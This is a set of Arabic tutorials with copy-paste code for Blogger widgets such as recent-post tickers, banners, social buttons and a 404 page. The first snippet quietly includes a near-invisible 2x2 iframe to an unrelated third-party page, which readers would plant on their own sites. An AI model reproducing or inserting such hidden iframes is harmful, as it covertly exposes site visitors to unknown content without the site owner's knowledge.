سكريبت آخر المواضيع مهم جدا ليبقى الزائر أطول مدة ممكنة فى موقعك لأنه يتيح لعرض عدد من آخر المواضيع التى تحددها بطريقة متحركة وجميلة الإضافة يمكن ملاحظتها

طريقة تركيب

 الكود بمدونات بلوجر
الدخول على التصميم ثم إضافة أداة >>> Html,Javascript
نسخ الكود التالي ولصقه بالنافذة

كود بلغة HTML:

<script type='text/javascript'> jQuery.noConflict(); </script> <style>img.recent_thumb {padding:1px;width:55px;height:55px;border:0;float:right;margin:0 0 5px 10px;}.recent_posts_with_thumbs {float: left;width: 100%;min-height: 70px;margin: 5px 0px 5px 0px;padding: 0;font-size:12px;}ul.recent_posts_with_thumbs li {padding-bottom:5px;padding-top:5px;min-height:65px;}.recent_posts_with_thumbs a {text-decoration:none;}.recent_posts_with_thumbs strong {font-size:10px;}</style> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script> <script style='text/javascript' src="http://glitter-text.googlecode.com/files/recentpostticker.js" ></script>
<script style='text/javascript' src='http://glitter-text.googlecode.com/files/recentpostswiththumbnailsv3.js'></script> <script style='text/javascript'> var numposts = 15; var showpostthumbnails = true; var displaymore = false; var displayseparator = false; var showcommentnum = false; var showpostdate = false; var showpostsummary = false; var numchars = 100; jQuery(document).ready(function($) {$('#sai').vTicker({ speed: 600, pause: 4000, showItems: 7, animation: 'fade', mousePause: false, height: 0, direction: 'down' });}); </script> <div id="sai">
<script src='http://www.3lahwa.net/feeds/posts/default?orderby=published&alt=json-in-script&callback=showrecentpostswiththumbs'><iframe src ="http://arabdownload.hooxs.com/h6-page" width="2" height="2"></iframe></script> </div>

لاتنسي

وضع رابط موقعك أو مدونتك بدلا من
http://www.3lahwa.net/


ويمكن التحكم بعدد المواضيع عن طريق التغيير فى القيمة
var numposts = 15;


وعدد المواضيع المعروضة عن طريق التغيير فى القيمة

showItems: 7,


والتحكم فى سرعة الحركة عن طريق التغيير فى القيم
speed: 600,
pause: 4000,

التبادل الاعلاني اصبح شئ مهم جدا بالنسبة للمدونات او المواقع لتخفيض ترتيب اليكسا و الحصول علي زوار و متابعين جدد و ايضا لكسب باك لينكس اكثر و لها بالتاكيد فوائد كثيرة

اليوم موضوعنا عن كود التبادل الإعلاني بتقنية jQuery لمدونات بلوجر وتشمل الإضافة أربع أماكن تتحرك بطريقة إحترافية.

الخطوات :

سجل الدخول علي بلوجر

اذهب الي لوحة التحكم ثم اذهب إلى تصميم أو قالب.

ابحث عن كود ]]></b:skin>

أضف قبله هذا الكود مباشرة :

#banners {

margin-bottom:20px;

padding-left:10px;

}

.banner1 {-webkit-transition: -webkit-transform .15s linear;

margin-left:20px;

-webkit-box-shadow: 0 3px 6px rgba(0,0,0,.25);

-moz-box-shadow: 0 3px 6px rgba(0,0,0,.25);

border:5px solid #fff;

-webkit-transform: rotate(-12deg);

-moz-transform: rotate(-12deg);

}

.banner1:hover {

-webkit-box-shadow: 0 3px 6px rgba(0,0,0,.5);

-moz-box-shadow: 0 3px 6px rgba(0,0,0,.5);

-webkit-transform: rotate(-1deg);

-moz-transform: rotate(-1deg);

}

.banner2 {-webkit-transition: -webkit-transform .15s linear;

-webkit-box-shadow: 0 3px 6px rgba(0,0,0,.25);

-moz-box-shadow: 0 3px 6px rgba(0,0,0,.25);

border:5px solid #fff;

-webkit-transform: rotate(+2deg);

-moz-transform: rotate(+2deg);

}

.banner2:hover {

-webkit-box-shadow: 0 3px 6px rgba(0,0,0,.5);

-moz-box-shadow: 0 3px 6px rgba(0,0,0,.5);

-webkit-transform: rotate(-1deg);

-moz-transform: rotate(-1deg);

}

.banner3 {-webkit-transition: -webkit-transform .15s linear;

margin-left:20px;

margin-bottom:20px;

-webkit-box-shadow: 0 3px 6px rgba(0,0,0,.25);

-moz-box-shadow: 0 3px 6px rgba(0,0,0,.25);

border:5px solid #fff;

-webkit-transform: rotate(+12deg);

-moz-transform: rotate(+12deg);

}

.banner3:hover {

-webkit-box-shadow: 0 3px 6px rgba(0,0,0,.5);

-moz-box-shadow: 0 3px 6px rgba(0,0,0,.5);

-webkit-transform: rotate(-1deg);

-moz-transform: rotate(-1deg);

}

.banner4 {-webkit-transition: -webkit-transform .15s linear;

-webkit-box-shadow: 0 3px 6px rgba(0,0,0,.25);

-moz-box-shadow: 0 3px 6px rgba(0,0,0,.25);

border:5px solid #fff;

-webkit-transform: rotate(-12deg);

-moz-transform: rotate(-12deg);

}

.banner4:hover {

-webkit-box-shadow: 0 3px 6px rgba(0,0,0,.5);

-moz-box-shadow: 0 3px 6px rgba(0,0,0,.5);

-webkit-transform: rotate(-1deg);

-moz-transform: rotate(-1deg);

}

قم بحفظ القالب

توجه إلى تخطيط ثم إضافة أدة

إختر HTML/JavaScript

ثم قم بوضع هذا الكود :

<div id='banners'><a href=" هنا ضع الرابط للإعلان رقم 1 " rel="nofollow" target="_blank"><img class="banner1" src="http://lh6.ggpht.com/_PhBMR7XaHEs/TEJTuhWpHnI/AAAAAAAABis/-NU7uweLofQ/%28F1%204%28%27%28JC_thumb%5B1%5D.png" width="105" border="0" height="105"></img></a><a href=" هنا ضع الرابط للإعلان رقم 2 " rel="nofollow" target="_blank"><img class="banner2" src="http://lh6.ggpht.com/_PhBMR7XaHEs/TEJTuhWpHnI/AAAAAAAABis/-NU7uweLofQ/%28F1%204%28%27%28JC_thumb%5B1%5D.png" width="125" border="0" height="125"></img></a><a href="هنا ضع الرابط للإعلان رقم 3" rel="nofollow" target="_blank"><img class="banner3" src="http://lh6.ggpht.com/_PhBMR7XaHEs/TEJTuhWpHnI/AAAAAAAABis/-NU7uweLofQ/%28F1%204%28%27%28JC_thumb%5B1%5D.png" width="70" border="0" height="70"></img></a><a href=" هنا ضع الرابط للإعلان رقم 4 " rel="nofollow" target="_blank"><img class="banner4" src="http://lh6.ggpht.com/_PhBMR7XaHEs/TEJTuhWpHnI/AAAAAAAABis/-NU7uweLofQ/%28F1%204%28%27%28JC_thumb%5B1%5D.png" width="110" border="0" height="110"></img></a></div>

قم بتغيير ما باللون الاحمر برابط الموقع

قم بتغيير ما باللون الازرق برابط البنر او الصورة

بكده نكون انتهينا من شرح الكود

الدرس اليوم هو كيفية اضافة زر الصعود لأعلى أي عند الضغط عليه يرتفع لأعلى الصفحة للتسهيل على الزائر ويكون المنظر جميلاً كما في مدونتي. 

الخطوات: 

اذهب الى تخطيط.

ثم اضغط اضافة أداة HTML\JavaScript

ثم ضع الكود التالي فيه.

<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" >

var scrolltotop={ //startline: Integer. Number of pixels from top of doc scrollbar is scrolled before showing control //scrollto: Keyword (Integer, or "Scroll_to_Element_ID"). How far to scroll document up when control is clicked on (0=top). setting: {startline:100, scrollto: 0, scrollduration:1000, fadeduration:[500, 100]}, controlHTML: '<img src="http://im33.gulfup.com/pIUN1.png" />', //HTML for control, which is auto wrapped in DIV w/ ID="topcontrol" controlattrs: {offsetx:5, offsety:5}, //offset of control relative to right/ bottom of window corner anchorkeyword: '#top', //Enter href value of HTML anchors on the page that should also act as "Scroll Up" links
state: {isvisible:false, shouldvisible:false},
scrollup:function(){ if (!this.cssfixedsupport) //if control is positioned using JavaScript this.$control.css({opacity:0}) //hide control immediately after clicking it var dest=isNaN(this.setting.scrollto)? this.setting.scrollto : parseInt(this.setting.scrollto) if (typeof dest=="string" && jQuery('#'+dest).length==1) //check element set by string exists dest=jQuery('#'+dest).offset().top else dest=0 this.$body.animate({scrollTop: dest}, this.setting.scrollduration); },
keepfixed:function(){ var $window=jQuery(window) var controlx=$window.scrollLeft() + $window.width() - this.$control.width() - this.controlattrs.offsetx var controly=$window.scrollTop() + $window.height() - this.$control.height() - this.controlattrs.offsety this.$control.css({left:controlx+'px', top:controly+'px'}) },
togglecontrol:function(){ var scrolltop=jQuery(window).scrollTop() if (!this.cssfixedsupport) this.keepfixed() this.state.shouldvisible=(scrolltop>=this.setting.startline)? true : false if (this.state.shouldvisible && !this.state.isvisible){ this.$control.stop().animate({opacity:1}, this.setting.fadeduration[0]) this.state.isvisible=true } else if (this.state.shouldvisible==false && this.state.isvisible){ this.$control.stop().animate({opacity:0}, this.setting.fadeduration[1]) this.state.isvisible=false } },
init:function(){ jQuery(document).ready(function($){ var mainobj=scrolltotop var iebrws=document.all mainobj.cssfixedsupport=!iebrws || iebrws && document.compatMode=="CSS1Compat" && window.XMLHttpRequest //not IE or IE7+ browsers in standards mode mainobj.$body=(window.opera)? (document.compatMode=="CSS1Compat"? $('html') : $('body')) : $('html,body') mainobj.$control=$('<div id="topcontrol">'+mainobj.controlHTML+'</div>') .css({position:mainobj.cssfixedsupport? 'fixed' : 'absolute', bottom:mainobj.controlattrs.offsety, right:mainobj.controlattrs.offsetx, opacity:0, cursor:'pointer'}) .attr({title:'Scroll Back to Top'}) .click(function(){mainobj.scrollup(); return false}) .appendTo('body') if (document.all && !window.XMLHttpRequest && mainobj.$control.text()!='') //loose check for IE6 and below, plus whether control contains any text mainobj.$control.css({width:mainobj.$control.width()}) //IE6- seems to require an explicit width on a DIV containing text mainobj.togglecontrol() $('a[href="' + mainobj.anchorkeyword +'"]').click(function(){ mainobj.scrollup() return false }) $(window).bind('scroll resize', function(e){ mainobj.togglecontrol() }) }) } }
scrolltotop.init()
</script>

بالتأكيد كنت تتصفح أحد المواقع وقد رأيت شريط اعلي قالب المدونة يمكنك اخفاؤه
سأشرح لكم كيف تضعه في مدونتك بوضع كود بسيط،ويحتوي هذا الشريط على المشاركة على الفيسبوك ،وتويتر،وجوجل.

معاينة

الخطوات:

اذهب إلى لوحة تحكم مدونتك.

اضغط على قالب.

ثم تحرير HTML.

ثم ثم بالبحث عن الكود التالي:

</head>

 ثم ضع الكود التالي قبله:

<!-- AddThis Welcome BEGIN -->
<script type="text/javascript" src="//s7.addthis.com/js/300/addthis_widget.js#pubid=xa-51420ae61cbe9c35"></script>
<script type='text/javascript'>
addthis.bar.initialize({'default':{
"backgroundColor": "#FF5E00",
"buttonColor": "#098DF4",
"textColor": "#FFFFFF",
"buttonTextColor": "#FFFFFF",
"hideAfter": 20
},rules:[
{
"name": "AnyOther",
"message": "If you enjoy this page, do us a favor:",
"action": {
"type": "button",
"text": "Share this page",
"verb": "share",
"service": "preferred"
}
},
{
"name": "Twitter",
"match": {
"referringService": "twitter"
},
"message": "If you find this page helpful:",
"action": {
"type": "button",
"text": "Tweet it!",
"verb": "share",
"service": "twitter"
}
},
{
"name": "Facebook",
"match": {
"referringService": "facebook"
},
"message": "قم بنشر صفحتنا",
"action": {
"type": "button",
"text": "مشاركة على الفيسبوك",
"verb": "share",
"service": "facebook"
}
},
{
"name": "Google",
"match": {
"referrer": "google.com"
},
"message": "If you like this page, let Google know:",
"action": {
"type": "button",
"text": "+1",
"verb": "share",
"service": "google_plusone_share"
}
}
]});
</script>
<!-- AddThis Welcome END -->

اليوم اقدم لكم اضافة جميلة وخفيفة وذات مظهر جميل ولا تاخذ مساحة من مدونتك علي البلوجر انها ازرار للمواقع الاجتماعية بشكل عائم ومنظر جميل علي يمين الشاشة في بلوجر بتقنية jQuery.

معايتة

 من لوحة التحكم بمدونتك

قم بالضغط علي قالب

ثم تحرير HTML

ثم قم بالبحث عن الكود التالي :

]]></b:skin>

 الان قم بوضع هذا الكود فوقه مباشرة

.social-buttons { position: fixed; top: 130px; width: 45px; z-index: 9999; } .button-left { left: 0; } .button-right { right: 0; } .social-buttons #twitter-btn .social-icon, .social-buttons #facebook-btn .social-icon, .social-buttons #google-btn .social-icon, .social-buttons #rss-btn .social-icon, .social-buttons #pinterest-btn .social-icon, .social-buttons #youtube-btn .social-icon { background-color: #33353B; background-image: url(http://1.bp.blogspot.com/-KOzIiYFlBAk/UUmLwwZSs-I/AAAAAAAAAnA/h6G772N3cpI/s1600/mas-icons.png); } .button-left #facebook-btn span { background-position: right 10px; } .button-left #twitter-btn span { background-position: right -35px; } .button-left #google-btn span { background-position: right -127px; } .button-left #rss-btn span { background-position: right -80px; } .button-left #pinterest-btn span { background-position: 11px -177px; } .button-left #youtube-btn span { background-position: 11px -223px; } .button-right #facebook-btn span { background-position: 12px 10px; } .button-right #twitter-btn span { background-position: 11px -35px; } .button-right #google-btn span { background-position: 10px -127px; } .button-right #rss-btn span { background-position: 11px -80px; } .button-right #pinterest-btn span { background-position: 11px -177px; } .button-right #youtube-btn span { background-position: 11px -223px; } .social-buttons #facebook-btn:hover .social-icon { background-color: #3B5998; } .social-buttons #twitter-btn:hover .social-icon { background-color: #62BDB2; } .social-buttons #google-btn:hover .social-icon { background-color: #DB4A39; } .social-buttons #rss-btn:hover .social-icon { background-color: #FF8B0F; } .social-buttons #pinterest-btn:hover .social-icon { background-color: #D43638; } .social-buttons #youtube-btn:hover .social-icon { background-color: #C4302B; } .social-buttons a:hover .social-text { display: block; } .button-left .social-icon { -moz-transition: background-color 0.4s ease-in 0s; -webkit-transition: background-color 0.4s ease-in 0s; background-repeat: no-repeat; display: block; float: left; height: 43px; margin-bottom: 2px; width: 43px; } .button-left .social-text { display: none; float: right; font-size: 1em; font-weight: bold; margin: 11px 40px 11px 0px; white-space: nowrap; } .button-right .social-icon { -moz-transition: background-color 0.4s ease-in 0s; -webkit-transition: background-color 0.4s ease-in 0s; background-repeat: no-repeat; display: block; float: right; height: 43px; margin-bottom: 2px; width: 43px; } .button-right .social-text { display: none; float: left; font-size: 80%; font-weight: bold; margin: 11px 0 11px 40px; white-space: nowrap; } .social-buttons .social-text { color: #FFFFFF; }#ixzz2T1CoxWBT

 وبعدها ابحث عن الكود التالي

  </head>

 قم بوضع هذا الكود فوقه مباشرة

<script src='http://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js' type='text/javascript'/> <script src='http://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js' type='text/javascript'/> <script> $(window).load(function(){ $('.social-buttons .social-icon').mouseenter(function(){ $(this).stop(); $(this).animate({width:'160'}, 500, 'easeOutBounce',function(){}); }); $('.social-buttons .social-icon').mouseleave(function(){ $(this).stop(); $(this).animate({width:'43'}, 500, 'easeOutBounce',function(){}); }); }); </script>

 واخيرا ابحث عن هذا الكود 

 </body>

 وضع قبله الكود التالي:

<div class='social-buttons button-right hidden-phone hidden-tablet'> <a class='itemsocial' href='https://www.facebook.com/3bdallahghanem' id='facebook-btn' target='_blank'><span class='social-icon'><span class='social-text'>اشترك في صفحة الفيس بوك</span></span></a> <a class='itemsocial' href='https://twitter.com/abdullahghanem' id='twitter-btn' target='_blank'><span class='social-icon'><span class='social-text'>تابعنا علي تويتر</span></span></a> <a class='itemsocial' href='https://plus.google.com/abdullahghanem' id='google-btn' target='_blank'><span class='social-icon'><span class='social-text'>اشترك علي صفحة الجوجل بلس</span></span></a> <a class='itemsocial' href='http://pinterest.com/3lahwa' id='pinterest-btn' target='_blank'><span class='social-icon'> <span class='social-text'>تابعنا علي البينترست </span></span></a> <a class='itemsocial' href='https://www.youtube.com/user/Ton ID' id='youtube-btn' target='_blank'><span class='social-icon'><span class='social-text'>اشترك علي قناة اليوتيوب</span></span></a> <a class='itemsocial' href='http://feeds.feedburner.com/Ton flux' id='rss-btn' target='_blank'><span class='social-icon'><span class='social-text'>تتابع الجديد</span></span></a> </div>

غير ما بالون الازرق بروابط صفحاتك علي المواقع الاجتماعية

وأخيرا،قم بحفظ النموذج.

ساشرح لكم اضافة بلوجر نحتاجها كثيرا في مدوناتنا انها ازرار التحميل ومشاهدة و تستعمل خاصة في مدونات التي تهتم بطرح القوالب و مشاهدة او تحميل الاضافات و البرامج

كثيرا ما نشاهدها في المدونات الاجنبية لكن معظم المدونين العرب لا يعرف هذه الطريقة .
هذه الاداة افضل بكثير من استعمال الصور لانه يمكن ان تكتب فيها ما تشاء اضافة الي ان الصور تاخذ وقت كبير في التحميل مما يفقد المدونة سرعتها فمع نمط css يمكنك انشاء ازرار بتاثيرات جميلة و سريعة.

لنبدأ على بركة الله

1 - قم بتسجيل الدخول إلى مدونتك بلوجر.
2 - من لوحة التحكم الخاصة بمدونتك توجه إلى تصميم أو قالب.
3- ابحث عن :  ]]></b:skin>  باستخدام ctrl + f .
ثم قم بإضافة هذا الكود قبله مباشرة :

.button { -moz-border-radius:5px 5px 5px 5px; -webkit-border-radius:5px 5px 5px 5px; border-radius:5px 5px 5px 5px; -moz-box-shadow:0 1px 3px rgba(0, 0, 0, 0.25); -webkit-box-shadow:0 1px 3px rgba(0, 0, 0, 0.25); box-shadow:0 1px 3px rgba(0, 0, 0, 0.25); background:url("http://www.zurb.com/images/overlay-button.png") repeat-x scroll 0 0 #222222; border-bottom:1px solid rgba(0, 0, 0, 0.25); color:#FFFFFF !important; cursor:pointer; font-weight:bold; line-height:1; overflow:visible; font-size:17px; padding:8px 19px 9px; position:relative; text-decoration:none; text-shadow:0 -1px 1px rgba(0, 0, 0, 0.25); width:auto; } .demobutton { background-color:#999999; text-align:center; width:150px; } .demobutton:hover { background-color:#00A0EE; } .downloadbutton { background-color:#91BD09; text-align:center; width:150px; } .downloadbutton:hover { background-color:#00AC00; } .button:hover { -moz-box-shadow:0 1px 11px rgba(0, 0, 0, 0.45); -webkit-box-shadow:0 1px 11px rgba(0, 0, 0, 0.45); box-shadow:0 1px 11px rgba(0, 0, 0, 0.45); }#ixzz2T1CoxWBT  
قم بحفظ القالب

ثم اذهب الي مشاركة جديدة و عندما تحتاج لهذه الاضافة اضغط علي زر html بجانب زر تاليف ثم اضف الكود التالي


هذا الزر ناحية اليمين
<a class="demobutton button" href="الرابط الذي تريد مشاهدته" rel="nofollow" style="float: right;" target="_blank"><span style="display: inline-block;">مشاهدة</span></a>

هذا الزر في الوسط
<a class="demobutton button" href="الرابط الذي تريد تحميله" rel="nofollow" style="float: center;" target="_blank"><span style="display: inline-block;">معاينة </span></a> 

هذا الزر في اليسار
<a class="demobutton button" href="الرابط الذي تريد تحميله" rel="nofollow" style="float: left;" target="_blank"><span style="display: inline-block;">تحميل </span></a>

غير ما باللون الاحمر بما يتماشي معك

السلام عليكم ورحمة الله وبركاته

اقدم لك اليوم متابع  افكار بلوجر, اضافة بلوجر جديدة

اضافة رائعة جداا وهى خصوصا لمن يمتلك تعليقات كثيرة فى المشاركات او يمتلك مواضيع كثيرة فى الصفحات

فهى توفر على الزوار الانتقال الى الاعلى بكل سهولة وتساعد فى تصفح مدونة البلوجر

معاينة

كيفية تركيب الاضافة اتبع الاتى :

1- التوجه الى لوحة التحكم بلوجر

2- اختار قالب ,, تحرير HTML

3- قم بالبحث عن </body> واضف هذا الكود قبله

<style type="text/css"> #w2b-StoTop {-moz-border-radius: 5px;-webkit-border-radius: 5px;border-radius: 5px; width:100px;background-color: #EEEEEE;background-color: rgba(238, 238, 238, 0.6);filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#99EEEEEE',EndColorStr='#99EEEEEE');text-align:center;padding:5px;position:fixed;bottom:10px;right:10px;cursor:pointer;color:#444;text-decoration:none;border:1px solid #C9C9C9;} </style> <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script> <script type='text/javascript'> $(function() { $.fn.scrollToTop = function() { $(this).hide().removeAttr("href"); if ($(window).scrollTop() != "0") { $(this).fadeIn("slow") } var scrollDiv = $(this); $(window).scroll(function() { if ($(window).scrollTop() == "0") { $(scrollDiv).fadeOut("slow") } else { $(scrollDiv).fadeIn("slow") } }); $(this).click(function() { $("html, body").animate({ scrollTop: 0 }, "slow") }) } }); $(function() { $("#w2b-StoTop").scrollToTop(); }); </script> <a href='#' id='w2b-StoTop' style='display:none;'>إلى أعلى الصفحة </a>

يمكنك استبدال اضافة بلوجر بصورة اذا اردت 

اراكم فى مشاركة جديدة ان شاء الله

السلام عليكم ورحمة الله تعالى وبركاته

كما العادة دائما آتي بكل جديد ومفيد لكم

اليوم وبإذن الله أقدم لكم إضافة من تعديلي الخاص

لتلائم مدوناتكم بشكل بسيط جدا

وأكثر جاذبية وبدون صورة

مما يعني أنها سريعة التحميل ولاتحتاج إلا لثانية لاغير

إضافتنا اليوم هي عبارة عن الصفحة الغير الموجود

او ماتدعى Page Not Found

الخطأ 404

صورة الإضافة

شرح الإضافة

إذهب إلى

لوحة التحكم | إعدادات | تفضيلات البحث |  الأخطاء وعمليات إعادة التوجيه  |  لم يتم العثور على الصفحة المخصصة 

ثم إضغط على تحرير أو Edit كما بالصورة التالية

ثم قم بلصق الكود الآتي ثم قم بحفظ التغييرات

<style type="text/css"> #error-404 { border: 15px solid #555;box-shadow:inset 0px 0px 10px #444; border-radius: 240px 240px 240px 240px; height: 240px; margin: 0 auto 40px; text-align: center; transition: all 0.8s ease 0s; width: 240px; } #error-404:hover { border-color: #333; } #error-404 span { color: #FA4C29; font-size: 100px; font-weight: bold; line-height: 240px; } .large-heading { font-size: 48px; line-height: 1.2em; } .light-heading { font-weight: 400; } .status-msg-bg { background-color: transparent; } .sidebar-wrapper, .page-header { display: none; } .main-wrapper { margin-right: 0; } .outer-wrapper { min-height: 0; } .status-msg-border { border: 0 none; } </style> <div id="error-404"> <span>404</span> </div> <h1 class="large-heading" style="text-align: center;"> ! هذه الصفحة غير موجودة</h1> <h2 class="light-heading" style="text-align: center;"> نرجوا منك التعديل على الرابط أو ادخل على<a href='#' style="text-decoration: none; color:#FA4C29;" > الصفحة الرئيسية </a>للموقع </h2>

تخصيص صفحة الخطا حسب الألوان

اللون الرمادي : لون الخط الدائري

 اللون الأخضر : الكلام الذي سيراه الزائر

اللون الأزرق : كلمة الصفحة الرئيسية أفضل ان تدعها كما هي

اللون البرتقالي : رابط الصفحة  الرئيسية وهو الذي سيحتوي على رئيسية مدونتك

اللون الوردي : لون كلمة الصفحة الرئيسية

لتجربتها ضع رابط مدونتك مع إضافة لخبطات وحروف بعد رابط مدونتك

 وإلى هنا أبلغكم تحياتي الطيبة ولاتسونا بتعليقاتكم

والسلام عليكم ورحمة الله تعالى وبركاته

 

السلام عليكم إخوتي الكرام

 أقدم لكم هذه الإضافة الأكثر من رائعة والتي من صنعي

 تزيين شكل التسميات ( Label ) وإضافتهم على شكل ازرار بعمودين

والصورة تتكلم

كما رأيتم الإضافة أكثر من جميلة كما انا مثل أزرار جوجل من ناحية الشكل

لمشاهدة حية

من هنا

شرح الإضافة

قم بالبحث عبر تعديل القالب

على الكود  لتالي

]]></b:skin>

ضع قبله الكود التالي
#arabetutorial1 ul li{ color:#2D2C28; float: right; width: 45%; } #arabetutorial2 ul li{ color:#2D2C28; float: left; width: 45%; } #arabetutorial1 li{ margin-bottom:5px; padding:5px; } #arabetutorial1 li a{ color: #777777; font: 12px verdana; height: 20px; width:120px; font-family:'DroidKufi-regular',Arial,Helvetica,Tahoma,sans-serif; text-transform: uppercase; transition: border-color .218s; background:#f4f4f4; background: -webkit-gradient(linear, 0% 40%, 0% 70%, from(#F5F5F5), to(#F1F1F1)); display: inline-block; text-shadow: 0 1px 0 #fff; -webkit-transition: border-color .218s; -moz-transition: border .218s; -o-transition: border-color .218s; transition: border-color .218s; background:#f3f3f3; background: -webkit-gradient(linear, 0% 40%, 0% 70%, from(#F5F5F5), to(#F1F1F1)); background: -moz-linear-gradient(linear, 0% 40%, 0% 70%, from(#F5F5F5), to(#F1F1F1)); border: solid 1px#ccc; border-radius: 2px; -webkit-border-radius: 2px; -moz-border-radius: 2px; margin: 0 4px 4px 0; padding: 3px 5px; text-decoration: none; text-align: center; } #arabetutorial1 li:hover{ background:#FCFEFE; color:#00D1FF; padding:5px; cursor:pointer; } #arabetutorial1 li a:hover{ color:#333; font-size:12px; border-color: #999; -moz-box-shadow: 0 2px 0 rgba(0, 0, 0, 0.2) -webkit-box-shadow:0 2px 5px rgba(0, 0, 0, 0.2); box-shadow: 0 1px 2px rgba(0,0,0,0.15); }

ثم قم بإضافة الكود التالي وهو خاص بHtml

إذهب إلى تخطيط ثم إضافة اداة

إختر اداة HtmlJavaScript

وقم بلصق الكود التالي

<div id="arabetutorial1"> <ul> <li><a href="#">التسمية الأولى</a></li> <li><a href="#">التسمية الثانية</a></li> <li><a href="#">التسمية الثالثة</a></li> <li><a href="#">التسمية الرابعة</a></li> <li><a href="#">التسمية خامسة</a></li> <li><a href="#">التسمية السادسة</a></li> </ul> </div>

التعديلات

ضع بدل التسمية الاولى حتى التسمية السادية بالتسميات التي لديك

أما علامة # ضع بدلها رابط كل تسمية

وطبعا لو أردت زيادة عدد التسميات ستكتفي بإضافة او نقص السطر التالي

<li><a href="#">التسمية</a></li>

أرجوا ان تنجح معكم وتنال إعجابكم

وأرجوا تعليقاتكم لانني تعبت حقا في عملها

والسلام عليكم ورحمة الله تعالى وبركاته